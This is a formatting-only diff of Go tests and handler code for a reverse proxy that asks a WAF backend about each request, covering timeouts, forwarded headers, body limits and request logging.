@@ -1218,11 +1068,7 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
text, err := io.ReadAll(conn) text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 { if err != nil || len(text) != 0 {
t.Errorf( t.Errorf("read %q (%v), want the connection closed without an answer", text, err)
"read %q (%v), want the connection closed without an answer",
text,
err,
)
} }
if line := out.requestLine(t); line["status"] != 0.0 { if line := out.requestLine(t); line["status"] != 0.0 {
@@ -1230,9 +1076,7 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
} }
} }
func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest( func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
const answer = "the end of a long answer" const answer = "the end of a long answer"
@@ -1250,28 +1094,13 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(
maxRequestTime: "2000", maxRequestTime: "2000",
}) })
got := visit( got := visit(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")))
t,
newRequest(
t,
http.MethodPost,
addr,
"/",
strings.NewReader("a body"),
),
)
if got.status != http.StatusOK || got.body != answer { if got.status != http.StatusOK || got.body != answer {
t.Errorf( t.Errorf("answered %d %q, want the app's whole answer", got.status, got.body)
"answered %d %q, want the app's whole answer",
got.status,
got.body,
)
} }
} }
func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce( func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -1292,15 +1121,10 @@ func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(
app := startApp(t, greet) app := startApp(t, greet)
// The request time limit is longer than the 10 seconds an answer rproxy // The request time limit is longer than the 10 seconds an answer rproxy
// gives itself has to be sent, and than dial's deadline. // gives itself has to be sent, and than dial's deadline.
addr, _ := startRProxy( addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, maxRequestTime: "15000",
standIn.URL, maxResponseTime: "300",
app.URL, })
map[string]string{
maxRequestTime: "15000",
maxResponseTime: "300",
},
)
// The body stops 100 bytes short, less than Go's server reads of a body // The body stops 100 bytes short, less than Go's server reads of a body
// left unread before it answers. // left unread before it answers.
+31 -102
View File
@@ -54,12 +54,7 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
asked := standIn.question(t) asked := standIn.question(t)
if asked.method != http.MethodDelete || asked.target != target || if asked.method != http.MethodDelete || asked.target != target ||
asked.host != site { asked.host != site {
t.Errorf( t.Errorf("asked about %s %s at %s", asked.method, asked.target, asked.host)
"asked about %s %s at %s",
asked.method,
asked.target,
asked.host,
)
} }
if asked.header.Get(requestIDHeader) == "the-visitor's" { if asked.header.Get(requestIDHeader) == "the-visitor's" {
@@ -77,11 +72,7 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
want.Set(waf.PeerHeader, localhost) want.Set(waf.PeerHeader, localhost)
if !maps.EqualFunc(asked.header, want, slices.Equal) { if !maps.EqualFunc(asked.header, want, slices.Equal) {
t.Errorf( t.Errorf("the question's headers are %v, want %v", asked.header, want)
"the question's headers are %v, want %v",
asked.header,
want,
)
} }
} }
@@ -109,14 +100,9 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
greet(w, r) greet(w, r)
}) })
addr, out := startRProxy( addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, trustedProxies: tc.trusted,
standIn.URL, })
app.URL,
map[string]string{
trustedProxies: tc.trusted,
},
)
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedForHeader, visitor) req.Header.Set(forwardedForHeader, visitor)
@@ -136,12 +122,7 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
} }
if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded { if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
t.Errorf( t.Errorf("the app saw %s %q, want %q", forwardedForHeader, got, tc.forwarded)
"the app saw %s %q, want %q",
forwardedForHeader,
got,
tc.forwarded,
)
} }
}) })
} }
@@ -178,14 +159,9 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
standIn := startWAF(t, allow) standIn := startWAF(t, allow)
app := startApp(t, greet) app := startApp(t, greet)
addr, _ := startRProxy( addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, trustedProxies: localhost + "/32,10.0.0.0/8",
standIn.URL, })
app.URL,
map[string]string{
trustedProxies: localhost + "/32,10.0.0.0/8",
},
)
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header[forwardedForHeader] = tc.header req.Header[forwardedForHeader] = tc.header
@@ -224,24 +200,15 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
body := randomBytes(size) body := randomBytes(size)
standIn := startWAF(t, allow) standIn := startWAF(t, allow)
received := make(chan []byte, 1) received := make(chan []byte, 1)
app := startApp( app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
t, whole, _ := io.ReadAll(r.Body)
func(w http.ResponseWriter, r *http.Request) { received <- whole
whole, _ := io.ReadAll(r.Body)
received <- whole
greet(w, r) greet(w, r)
}, })
)
addr, _ := startRProxy(t, standIn.URL, app.URL, nil) addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
req := newRequest( req := newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(body))
t,
http.MethodPost,
addr,
"/",
bytes.NewReader(body),
)
if !announced { if !announced {
// Go's client sends a body of unknown length in chunks. // Go's client sends a body of unknown length in chunks.
req.ContentLength = -1 req.ContentLength = -1
@@ -257,9 +224,7 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
t.Error("the app did not get the whole body") t.Error("the app did not get the whole body")
} }
if report := standIn.report(t); report.RequestBytes != int64( if report := standIn.report(t); report.RequestBytes != int64(size) {
size,
) {
t.Errorf("report %+v, of %d bytes", report, size) t.Errorf("report %+v, of %d bytes", report, size)
} }
}) })
@@ -275,11 +240,8 @@ func wantQuestionBody(
t.Helper() t.Helper()
if !bytes.Equal(asked.body, want) { if !bytes.Equal(asked.body, want) {
t.Errorf( t.Errorf("the question carries %d bytes, want the first %d", len(asked.body),
"the question carries %d bytes, want the first %d", len(want))
len(asked.body),
len(want),
)
} }
values := asked.header.Values(waf.ContentLengthHeader) values := asked.header.Values(waf.ContentLengthHeader)
@@ -294,13 +256,9 @@ func wantQuestionBody(
return return
} }
if len(values) != 0 || if len(values) != 0 || !slices.Equal(asked.transferEncoding, []string{chunked}) {
!slices.Equal(asked.transferEncoding, []string{chunked}) { t.Errorf("announced %v and encoded %v, want none and chunked", values,
t.Errorf( asked.transferEncoding)
"announced %v and encoded %v, want none and chunked",
values,
asked.transferEncoding,
)
} }
} }
@@ -353,11 +311,7 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
addr, _ := startRProxy(t, standIn.URL, nowhere, nil) addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
conn := dial(t, addr) conn := dial(t, addr)
send( send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
t,
conn,
method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing,
)
if status := readStatus(t, conn); status != http.StatusForbidden { if status := readStatus(t, conn); status != http.StatusForbidden {
t.Errorf("status %d, want waf's 403", status) t.Errorf("status %d, want waf's 403", status)
@@ -366,13 +320,8 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
asked := standIn.question(t) asked := standIn.question(t)
if string(asked.body) != tc.body || if string(asked.body) != tc.body ||
!slices.Equal(asked.transferEncoding, tc.encoding) { !slices.Equal(asked.transferEncoding, tc.encoding) {
t.Errorf( t.Errorf("the question carries %q, encoded %v, want %q, encoded %v",
"the question carries %q, encoded %v, want %q, encoded %v", asked.body, asked.transferEncoding, tc.body, tc.encoding)
asked.body,
asked.transferEncoding,
tc.body,
tc.encoding,
)
} }
}) })
} }
@@ -394,15 +343,10 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
got := visit(t, newRequest(t, method, addr, "/", http.NoBody)) got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
if got.status != http.StatusMethodNotAllowed || if got.status != http.StatusMethodNotAllowed ||
got.header.Get( got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
"Allow",
) != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+ "PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
"MKCALENDAR" { "MKCALENDAR" {
t.Errorf( t.Errorf("answered %+v, want 405 naming the methods passed on", got)
"answered %+v, want 405 naming the methods passed on",
got,
)
} }
line := out.requestLine(t) line := out.requestLine(t)
@@ -539,12 +483,7 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
asked := standIn.question(t) asked := standIn.question(t)
if got := asked.header.Get(forwardedProtoHeader); got != want { if got := asked.header.Get(forwardedProtoHeader); got != want {
t.Errorf( t.Errorf("the question's %s is %q, want %s", forwardedProtoHeader, got, want)
"the question's %s is %q, want %s",
forwardedProtoHeader,
got,
want,
)
} }
} }
@@ -565,21 +504,11 @@ func TestAQuestionNamesNoZone(t *testing.T) {
standIn := startWAF(t, deny) standIn := startWAF(t, deny)
app := startApp(t, greet) app := startApp(t, greet)
_, out, server := startServer( _, out, server := startServer(t, standIn.URL, app.URL, map[string]string{
t, trustedProxies: localhost + "/32",
standIn.URL, })
app.URL,
map[string]string{
trustedProxies: localhost + "/32",
},
)
req := httptest.NewRequestWithContext( req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
t.Context(),
http.MethodGet,
"/",
http.NoBody,
)
req.RemoteAddr = tc.remoteAddr req.RemoteAddr = tc.remoteAddr
req.Header.Set(forwardedForHeader, tc.forwardedFor) req.Header.Set(forwardedForHeader, tc.forwardedFor)
+32 -69
View File
@@ -96,34 +96,24 @@ type request struct {
// newRequest starts handling r: it notes the time, works out the visitor from // newRequest starts handling r: it notes the time, works out the visitor from
// the TCP peer and X-Forwarded-For, and makes the request's id. // the TCP peer and X-Forwarded-For, and makes the request's id.
func (h *handler) newRequest( func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
w http.ResponseWriter,
r *http.Request,
) *request {
peer := peerAddress(r) peer := peerAddress(r)
trusted := h.config.TrustedProxies trusted := h.config.TrustedProxies
rq := &request{ rq := &request{
h: h, h: h,
in: r, in: r,
rc: http.NewResponseController(w), rc: http.NewResponseController(w),
out: &responseWriter{ResponseWriter: w}, out: &responseWriter{ResponseWriter: w},
id: rand.Text(), id: rand.Text(),
client: clientAddress( client: clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted),
peer,
r.Header.Values("X-Forwarded-For"),
trusted,
),
peer: peer, peer: peer,
peerTrusted: isInside(peer, trusted), peerTrusted: isInside(peer, trusted),
start: time.Now(), start: time.Now(),
} }
if r.Body != http.NoBody { if r.Body != http.NoBody {
rq.body = &requestBody{ rq.body = &requestBody{body: limitBody(r.Body, h.config.MaxRequestSize), rq: rq}
body: limitBody(r.Body, h.config.MaxRequestSize),
rq: rq,
}
} }
return rq return rq
@@ -148,9 +138,7 @@ func (rq *request) readFirstPartOfBody() bool {
} }
_ = rq.rc.SetReadDeadline(rq.requestDeadline()) _ = rq.rc.SetReadDeadline(rq.requestDeadline())
held, err := io.ReadAll( held, err := io.ReadAll(io.LimitReader(rq.body, waf.QuestionBodyMaxBytes))
io.LimitReader(rq.body, waf.QuestionBodyMaxBytes),
)
// From here on, the request timer ends a read of the rest of the body, so that // From here on, the request timer ends a read of the rest of the body, so that
// the answer can name the side rproxy was waiting on. // the answer can name the side rproxy was waiting on.
_ = rq.rc.SetReadDeadline(time.Time{}) _ = rq.rc.SetReadDeadline(time.Time{})
@@ -269,8 +257,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
} }
maxBytes := rq.h.config.MaxResponseSize maxBytes := rq.h.config.MaxResponseSize
if maxBytes > 0 && res.Body != http.NoBody && if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
res.ContentLength > maxBytes {
rq.refuse(http.StatusBadGateway) rq.refuse(http.StatusBadGateway)
return errResponseTooLarge return errResponseTooLarge
@@ -297,11 +284,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
// answerError is ReverseProxy's ErrorHandler: the request could not be passed to // answerError is ReverseProxy's ErrorHandler: the request could not be passed to
// the app, or the app's answer cannot be passed on. // the app, or the app's answer cannot be passed on.
func (rq *request) answerError( func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
_ http.ResponseWriter,
_ *http.Request,
err error,
) {
if rq.upgraded != nil { if rq.upgraded != nil {
// The app switched protocols, but the switch was not passed on, and // The app switched protocols, but the switch was not passed on, and
// ReverseProxy leaves the app's connection open when it refuses it. // ReverseProxy leaves the app's connection open when it refuses it.
@@ -317,11 +300,7 @@ func (rq *request) answerError(
panic(http.ErrAbortHandler) panic(http.ErrAbortHandler)
} }
rq.h.processLog.Warn( rq.h.processLog.Warn("request to the app failed", "error", err.Error())
"request to the app failed",
"error",
err.Error(),
)
status = http.StatusBadGateway status = http.StatusBadGateway
} }
@@ -432,33 +411,24 @@ func (rq *request) finish(ctx context.Context) {
end := time.Now() end := time.Now()
requestBytes, responseBytes := rq.bytesEachWay() requestBytes, responseBytes := rq.bytesEachWay()
err := requestlog.WriteRProxyLine( err := requestlog.WriteRProxyLine(rq.h.requestLog, &requestlog.RProxyLine{
rq.h.requestLog, Time: requestlog.FormatTime(rq.start),
&requestlog.RProxyLine{ RequestID: rq.id,
Time: requestlog.FormatTime(rq.start), ClientIP: rq.client.String(),
RequestID: rq.id, Host: rq.in.Host,
ClientIP: rq.client.String(), Method: rq.in.Method,
Host: rq.in.Host, Path: rules.Path(rq.in),
Method: rq.in.Method, Query: rq.in.URL.RawQuery,
Path: rules.Path(rq.in), Status: rq.out.status,
Query: rq.in.URL.RawQuery, RequestBytes: requestBytes,
Status: rq.out.status, ResponseBytes: responseBytes,
RequestBytes: requestBytes, DurationRequestMS: requestlog.Milliseconds(requestEnd.Sub(rq.start)),
ResponseBytes: responseBytes, DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
DurationRequestMS: requestlog.Milliseconds( Disposition: rq.disposition,
requestEnd.Sub(rq.start), DefaultDisposition: rq.byDefault,
), })
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
Disposition: rq.disposition,
DefaultDisposition: rq.byDefault,
},
)
if err != nil { if err != nil {
rq.h.processLog.Error( rq.h.processLog.Error("writing the request log failed", "error", err.Error())
"writing the request log failed",
"error",
err.Error(),
)
} }
if !rq.answered { if !rq.answered {
@@ -473,9 +443,7 @@ func (rq *request) finish(ctx context.Context) {
DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)), DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
} }
if !rq.upstreamStart.IsZero() { if !rq.upstreamStart.IsZero() {
report.DurationUpstreamTotalMS = requestlog.Milliseconds( report.DurationUpstreamTotalMS = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
end.Sub(rq.upstreamStart),
)
} }
rq.h.sendReport(ctx, report) rq.h.sendReport(ctx, report)
@@ -554,10 +522,7 @@ func (rq *request) startRequestTimer() {
rq.mu.Lock() rq.mu.Lock()
defer rq.mu.Unlock() defer rq.mu.Unlock()
rq.requestTimer = time.AfterFunc( rq.requestTimer = time.AfterFunc(time.Until(deadline), rq.requestTimedOut)
time.Until(deadline),
rq.requestTimedOut,
)
} }
// requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the // requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
@@ -648,9 +613,7 @@ func (rq *request) setResponseDeadline() {
deadline := rq.endRequest().Add(limit) deadline := rq.endRequest().Add(limit)
_ = rq.rc.SetWriteDeadline( _ = rq.rc.SetWriteDeadline(time.Now().Add(max(time.Until(deadline), minSendTime)))
time.Now().Add(max(time.Until(deadline), minSendTime)),
)
_ = rq.rc.Flush() _ = rq.rc.Flush()
_ = rq.rc.SetWriteDeadline(deadline) _ = rq.rc.SetWriteDeadline(deadline)
} }
+1 -4
View File
@@ -78,10 +78,7 @@ type Server struct {
// on. // on.
func New(params Params) *Server { func New(params Params) *Server {
backend := params.Config.WAFBackend backend := params.Config.WAFBackend
errorLog := slog.NewLogLogger( errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
params.ProcessLog.Handler(),
slog.LevelWarn,
)
h := &handler{ h := &handler{
config: params.Config, config: params.Config,
requestLog: params.RequestLog, requestLog: params.RequestLog,
+76 -219
View File
@@ -358,13 +358,11 @@ func startServerLogging(
} }
maps.Copy(settings, env) maps.Copy(settings, env)
cfg, err := config.RProxyFromEnvironment( cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
func(name string) (string, bool) { value, ok := settings[name]
value, ok := settings[name]
return value, ok return value, ok
}, })
)
if err != nil { if err != nil {
t.Fatalf("settings %v: %v", settings, err) t.Fatalf("settings %v: %v", settings, err)
} }
@@ -372,18 +370,10 @@ func startServerLogging(
server := rproxy.New(rproxy.Params{ server := rproxy.New(rproxy.Params{
Config: cfg, Config: cfg,
RequestLog: requestLog, RequestLog: requestLog,
ProcessLog: requestlog.NewProcessLogger( ProcessLog: requestlog.NewProcessLogger(processLog, "test", slog.LevelInfo),
processLog,
"test",
slog.LevelInfo,
),
}) })
listener, err := (&net.ListenConfig{}).Listen( listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -413,10 +403,7 @@ type answered struct {
func visit(t *testing.T, req *http.Request) answered { func visit(t *testing.T, req *http.Request) answered {
t.Helper() t.Helper()
transport := &http.Transport{ transport := &http.Transport{DisableKeepAlives: true, DisableCompression: true}
DisableKeepAlives: true,
DisableCompression: true,
}
defer transport.CloseIdleConnections() defer transport.CloseIdleConnections()
res, err := transport.RoundTrip(req) res, err := transport.RoundTrip(req)
@@ -442,12 +429,8 @@ func newRequest(
) *http.Request { ) *http.Request {
t.Helper() t.Helper()
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+target,
t.Context(), body)
method,
"http://"+addr+target,
body,
)
if err != nil { if err != nil {
t.Fatalf("new request: %v", err) t.Fatalf("new request: %v", err)
} }
@@ -467,11 +450,7 @@ func wantGreeting(t *testing.T, got answered) {
t.Helper() t.Helper()
if got.status != http.StatusOK || got.body != greeting { if got.status != http.StatusOK || got.body != greeting {
t.Errorf( t.Errorf("answered %d %q, want the app's greeting", got.status, got.body)
"answered %d %q, want the app's greeting",
got.status,
got.body,
)
} }
} }
@@ -568,12 +547,7 @@ func TestPassesAnAllowedRequestToTheAppAndItsAnswerBack(t *testing.T) {
requestIDHeader: asked.header.Get(requestIDHeader), requestIDHeader: asked.header.Get(requestIDHeader),
} { } {
if received.Header.Get(name) != want { if received.Header.Get(name) != want {
t.Errorf( t.Errorf("the app saw %s %q, want %q", name, received.Header.Get(name), want)
"the app saw %s %q, want %q",
name,
received.Header.Get(name),
want,
)
} }
} }
} }
@@ -686,12 +660,7 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
}) })
_, _, server := startServer(t, standIn.URL, app.URL, nil) _, _, server := startServer(t, standIn.URL, app.URL, nil)
req := httptest.NewRequestWithContext( req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
t.Context(),
http.MethodGet,
"/",
http.NoBody,
)
w := httptest.NewRecorder() w := httptest.NewRecorder()
server.Handler.ServeHTTP(w, req) server.Handler.ServeHTTP(w, req)
@@ -701,11 +670,8 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
// stops it: the key with no value. // stops it: the key with no value.
values, there := w.Header()["Content-Type"] values, there := w.Header()["Content-Type"]
if !there || len(values) != 0 { if !there || len(values) != 0 {
t.Errorf( t.Errorf("the answer's Content-Type is %q, there: %v, want the key with no value",
"the answer's Content-Type is %q, there: %v, want the key with no value", values, there)
values,
there,
)
} }
} }
@@ -740,12 +706,8 @@ func TestRemovesTheVisitorsLookupHeadersWhenWAFGivesNone(t *testing.T) {
wantGreeting(t, visit(t, req)) wantGreeting(t, visit(t, req))
header := <-seen header := <-seen
if len(header.Values(asnHeader)) != 0 || if len(header.Values(asnHeader)) != 0 || len(header.Values(countryHeader)) != 0 {
len(header.Values(countryHeader)) != 0 { t.Errorf("the app saw the visitor's lookup headers: %v", header)
t.Errorf(
"the app saw the visitor's lookup headers: %v",
header,
)
} }
}) })
} }
@@ -778,8 +740,7 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
} }
line := out.requestLine(t) line := out.requestLine(t)
if line["disposition"] != dispositionDeny || if line["disposition"] != dispositionDeny || line["default_disposition"] != nil {
line["default_disposition"] != nil {
t.Errorf("line %v, want waf's deny", line) t.Errorf("line %v, want waf's deny", line)
} }
} }
@@ -793,11 +754,7 @@ func TestADeniedHeadKeepsWAFsContentLength(t *testing.T) {
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody)) got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
if got.status != http.StatusForbidden || if got.status != http.StatusForbidden ||
got.header.Get( got.header.Get(contentLengthHeader) != strconv.Itoa(len(deniedBody)) {
contentLengthHeader,
) != strconv.Itoa(
len(deniedBody),
) {
t.Errorf("answered %+v, want waf's 403 and its length", got) t.Errorf("answered %+v, want waf's 403 and its length", got)
} }
} }
@@ -821,14 +778,7 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
log := heldLog{release: make(chan struct{})} log := heldLog{release: make(chan struct{})}
standIn := startWAF(t, deny) standIn := startWAF(t, deny)
app := startApp(t, greet) app := startApp(t, greet)
addr, _ := startServerLogging( addr, _ := startServerLogging(t, standIn.URL, app.URL, nil, log, io.Discard)
t,
standIn.URL,
app.URL,
nil,
log,
io.Discard,
)
t.Cleanup(func() { close(log.release) }) t.Cleanup(func() { close(log.release) })
@@ -845,16 +795,9 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
}() }()
body, err := io.ReadAll(res.Body) body, err := io.ReadAll(res.Body)
if err != nil || res.StatusCode != tc.status || if err != nil || res.StatusCode != tc.status || string(body) != tc.body {
string(body) != tc.body { t.Errorf("answered %d %q (%v), want %d %q", res.StatusCode, body, err,
t.Errorf( tc.status, tc.body)
"answered %d %q (%v), want %d %q",
res.StatusCode,
body,
err,
tc.status,
tc.body,
)
} }
}) })
} }
@@ -900,11 +843,8 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
text, err := io.ReadAll(conn) text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 { if err != nil || len(text) != 0 {
t.Errorf( t.Errorf("read %q (%v), want the connection closed without an answer",
"read %q (%v), want the connection closed without an answer", text, err)
text,
err,
)
} }
report := standIn.report(t) report := standIn.report(t)
@@ -918,9 +858,7 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
} }
} }
func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime( func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
backend := startWAFAnsweringReports(t, backend := startWAFAnsweringReports(t,
@@ -943,10 +881,7 @@ func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(
duration, ok := line["duration_response_ms"].(float64) duration, ok := line["duration_response_ms"].(float64)
if !ok || duration < 0 { if !ok || duration < 0 {
t.Errorf( t.Errorf("line %v, want a duration_response_ms that is not negative", line)
"line %v, want a duration_response_ms that is not negative",
line,
)
} }
} }
} }
@@ -965,16 +900,12 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
func noAnswers() map[string]func(t *testing.T) string { func noAnswers() map[string]func(t *testing.T) string {
return map[string]func(t *testing.T) string{ return map[string]func(t *testing.T) string{
"no connection": func(*testing.T) string { return nowhere }, "no connection": func(*testing.T) string { return nowhere },
"no answer at all": answeringWith( "no answer at all": answeringWith(func(http.ResponseWriter, *http.Request) {
func(http.ResponseWriter, *http.Request) { panic(http.ErrAbortHandler)
panic(http.ErrAbortHandler) }),
}, "a slow start": answeringWith(func(_ http.ResponseWriter, r *http.Request) {
), <-r.Context().Done()
"a slow start": answeringWith( }),
func(_ http.ResponseWriter, r *http.Request) {
<-r.Context().Done()
},
),
"headers followed by a stalled body": answeringWith( "headers followed by a stalled body": answeringWith(
func(w http.ResponseWriter, r *http.Request) { func(w http.ResponseWriter, r *http.Request) {
w.Header().Set(dispositionHeader, dispositionDeny) w.Header().Set(dispositionHeader, dispositionDeny)
@@ -1016,29 +947,21 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
t.Run(tc.name+" with the default "+setting, func(t *testing.T) { t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startWAF( standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
t, if tc.disposition != "" {
func(w http.ResponseWriter, _ *http.Request) { w.Header().Set(dispositionHeader, tc.disposition)
if tc.disposition != "" { }
w.Header().Set(dispositionHeader, tc.disposition)
}
w.Header().Set(fromWAFHeader, addedHeaderValue) w.Header().Set(fromWAFHeader, addedHeaderValue)
w.WriteHeader(tc.status) w.WriteHeader(tc.status)
_, _ = io.WriteString(w, tc.body) _, _ = io.WriteString(w, tc.body)
}, })
)
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked") t.Error("the app was asked")
}) })
addr, out := startRProxy( addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, defaultDisposition: setting,
standIn.URL, })
app.URL,
map[string]string{
defaultDisposition: setting,
},
)
got := get(t, addr, "/") got := get(t, addr, "/")
if got.status != tc.status || got.body != tc.body || if got.status != tc.status || got.body != tc.body ||
@@ -1051,13 +974,8 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
} }
line := out.requestLine(t) line := out.requestLine(t)
if line["status"] != float64(tc.status) || if line["status"] != float64(tc.status) || line["default_disposition"] != nil {
line["default_disposition"] != nil { t.Errorf("line %v, want status %d and no default", line, tc.status)
t.Errorf(
"line %v, want status %d and no default",
line,
tc.status,
)
} }
if out.has("waf gave no answer") { if out.has("waf gave no answer") {
@@ -1118,8 +1036,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
}) })
got := get(t, addr, "/") got := get(t, addr, "/")
if got.status != http.StatusInternalServerError || if got.status != http.StatusInternalServerError || len(got.body) != size {
len(got.body) != size {
t.Errorf("answered %d with %d bytes, want waf's 500 with %d", t.Errorf("answered %d with %d bytes, want waf's 500 with %d",
got.status, len(got.body), size) got.status, len(got.body), size)
} }
@@ -1131,11 +1048,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
func startWAFWriting(t *testing.T, text string) string { func startWAFWriting(t *testing.T, text string) string {
t.Helper() t.Helper()
listener, err := (&net.ListenConfig{}).Listen( listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -1213,15 +1126,10 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked") t.Error("the app was asked")
}) })
addr, out := startRProxy( addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
t, timeoutSetting: "60000",
backend(t), defaultDisposition: setting,
app.URL, })
map[string]string{
timeoutSetting: "60000",
defaultDisposition: setting,
},
)
if got := get(t, addr, "/"); got.status != http.StatusBadGateway { if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
t.Errorf("answered %+v, want 502", got) t.Errorf("answered %+v, want 502", got)
@@ -1230,10 +1138,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
line := out.requestLine(t) line := out.requestLine(t)
if line["status"] != float64(http.StatusBadGateway) || if line["status"] != float64(http.StatusBadGateway) ||
line["disposition"] != nil || line["default_disposition"] != nil { line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf( t.Errorf("line %v, want status 502 and no disposition", line)
"line %v, want status 502 and no disposition",
line,
)
} }
out.waitFor(t, "waf's answer is dropped") out.waitFor(t, "waf's answer is dropped")
@@ -1266,14 +1171,9 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
t.Parallel() t.Parallel()
app := startApp(t, greet) app := startApp(t, greet)
